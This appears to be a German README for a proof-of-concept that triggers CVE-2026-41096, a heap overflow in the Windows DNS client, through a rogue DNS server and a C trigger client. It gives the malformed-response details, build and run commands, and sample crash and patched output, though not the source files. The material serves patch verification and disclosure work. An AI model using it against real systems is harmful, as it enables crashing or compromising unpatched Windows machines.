
CVE-2026-41096: Heap-Überlauf im Windows-DNS-Client
Heap-Overflow in DnsRawTruncateMessageForUdp() (dnsapi.dll). Eine manipulierte DNS-Antwort mit QDCOUNT=0 und einem großen OPT-Record verursacht einen 604-Byte-Heap-Overflow, wenn die Truncation-Logik den Zielzeiger falsch berechnet.
MSRC-Hinweis: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41096
| Datei | Beschreibung |
|---|---|
rogue_dns_server.py | Rogue-DNS-Server (Python 3). Antwortet auf jede Anfrage mit einer QDCOUNT=0 + OPT-Antwort (623 Bytes). |
trigger_client.c | Trigger-Client (C/Win32). Ruft DnsQueryRaw auf, das auf den Rogue-Server zeigt. Fängt den Absturz über SetUnhandledExceptionFilter ab. |
Angreifer (Rogue-Server):
Opfer (Trigger-Client):
DnsQueryRaw)dnsapi.dll1. Rogue-Server starten:
sudo python3 rogue_dns_server.py
2. Trigger-Client erstellen und ausführen:
cl /W4 /O2 trigger_client.c /link ws2_32.lib
trigger_client.exe <ROGUE_DNS_IP>
3. (Optional) Page Heap für einen deterministischen Absturz aktivieren:
gflags /p /enable trigger_client.exe /full
trigger_client.exe <ROGUE_DNS_IP>
| Code | Bedeutung |
|---|---|
| 0 | System ist gepatcht (DNS_ERROR_BAD_PACKET wurde sauber zurückgegeben) |
| 1 | Fehler (DnsQueryRaw nicht gefunden, Netzwerkproblem usw.) |
| 2 | Absturz erkannt (Heap-Overflow bestätigt) |
Verwundbar (Page Heap):
[*] Querying rogue server 192.168.56.1:53 via DnsQueryRaw...
[*] Waiting for response...
[!!] CRASH - Exception 0xC0000005 at 0x00007FFD1A2B4F20
[!!] WRITE at 0x000001A33C3B1000
[!!] CVE-2026-41096 CONFIRMED - heap overflow triggered.
Verwundbar (ohne Page Heap):
[*] Querying rogue server 192.168.56.1:53 via DnsQueryRaw...
[*] Waiting for response...
[!!] CRASH - Exception 0xC0000374 at 0x00007FFD1B5DXXXX
[!!] CVE-2026-41096 CONFIRMED - heap overflow triggered.
Gepatcht:
[*] Querying rogue server 192.168.56.1:53 via DnsQueryRaw...
[*] Waiting for response...
[+] Callback: queryStatus=0x251E
[+] DNS_ERROR_BAD_PACKET - system is PATCHED.